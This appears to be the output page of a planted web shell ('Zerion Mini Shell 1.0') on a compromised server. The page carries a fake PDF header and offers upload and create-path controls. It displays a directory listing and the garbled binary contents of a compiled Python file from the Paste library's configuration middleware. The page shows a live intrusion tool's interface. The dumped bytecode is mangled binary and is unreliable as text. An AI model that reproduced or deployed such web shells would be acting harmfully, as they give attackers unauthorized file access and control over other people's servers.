%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/paste/__pycache__/config.cpython-37.pyc

B

a�N��@s\dZddlmZmZdddgZGdd�de�Ze�Ze�ZGdd�de�Z	dd	�Z
e	jZd
S)z*Paste Configuration Middleware and Objects�)�RegistryManager�StackedObjectProxy�DispatchingConfig�CONFIG�ConfigMiddlewarecsbeZdZdZd�fdd�	Zdd�Zddd�Zd	d
�Zddd�Zd
d�Z	�fdd�Z
e
ZZ�Z
S)ra
    This is a configuration object that can be used globally,
    imported, have references held onto.  The configuration may differ
    by thread (or may not).

    Specific configurations are registered (and deregistered) either
    for the process or for threads.
    cs tt|�j|d�g|jd<dS)N)�name�_process_configs)�superr�__init__�__dict__)�selfr)�	__class__��=/opt/alt/python37/lib/python3.7/site-packages/paste/config.pyr
szDispatchingConfig.__init__cCs|�|�dS)a�
        Make ``conf`` the active configuration for this thread.
        Thread-local configuration always overrides process-wide
        configuration.

        This should be used like::

            conf = make_conf()
            dispatching_config.push_thread_config(conf)
            try:
                ... do stuff ...
            finally:
                dispatching_config.pop_thread_config(conf)
        N)Z_push_object)r�confrrr�push_thread_configsz$DispatchingConfig.push_thread_configNcCs|�|�dS)z�
        Remove a thread-local configuration.  If ``conf`` is given,
        it is checked against the popped configuration and an error
        is emitted if they don't match.
        N)Z_pop_object)rrrrr�pop_thread_config+sz#DispatchingConfig.pop_thread_configcCs|j�|�dS)zg
        Like push_thread_config, but applies the configuration to
        the entire process.
        N)r�append)rrrrr�push_process_config3sz%DispatchingConfig.push_process_configcCs|�|j|�dS)N)�	_pop_fromr)rrrrr�pop_process_config:sz$DispatchingConfig.pop_process_configcCs,|��}|dk	r(||k	r(td||f��dS)NzBThe config popped (%s) is not the same as the config expected (%s))�pop�AssertionError)r�lstr�poppedrrrr=s
zDispatchingConfig._pop_fromcs@ytt|���Stk
r:|jr.|jdStd��YnXdS)N���z?No configuration has been registered for this process or thread)r	r�_current_obj�	TypeErrorr�AttributeError)r)r
rrrEs
zDispatchingConfig._current_obj)r)N)N)�__name__�
__module__�__qualname__�__doc__r
rrrrrr�currentZcurrent_conf�
__classcell__rr)r
rr	s

	cs&eZdZdZedf�fdd�	Z�ZS)ra
    A WSGI middleware that adds a ``paste.config`` key (by default)
    to the request environment, as well as registering the
    configuration temporarily (for the length of the request) with
    ``paste.config.CONFIG`` (or any other ``DispatchingConfig``
    object).
    zpaste.configcs(����fdd�}t|j|��|�dS)zv
        This delegates all requests to `application`, adding a *copy*
        of the configuration `config`.
        c
s`|��t�}���}|�<|d��|�z�||�}Wd|tkrR|��d�n||�<X|S)Nzpaste.registry)�get�	no_config�copy�registerr)�environZstart_responseZ
popped_configZcurrent_configZapp_iter)�application�config�dispatching_config�environ_keyrr�register_configbs

z2ConfigMiddleware.__init__.<locals>.register_configN)r	r
r
)rr*r+r,r-r.)r
)r*r+r,r-rr
\szConfigMiddleware.__init__)rr r!r"rr
r$rr)r
rrSscKs|��}|�|�t||�S)N)r'�updater)ZappZglobal_confZ
local_confrrrr�make_config_filterss
r0N)r"Zpaste.registryrr�__all__rr�objectr&rr0Zmake_config_middlewarerrrr�<module>s
G 

Zerion Mini Shell 1.0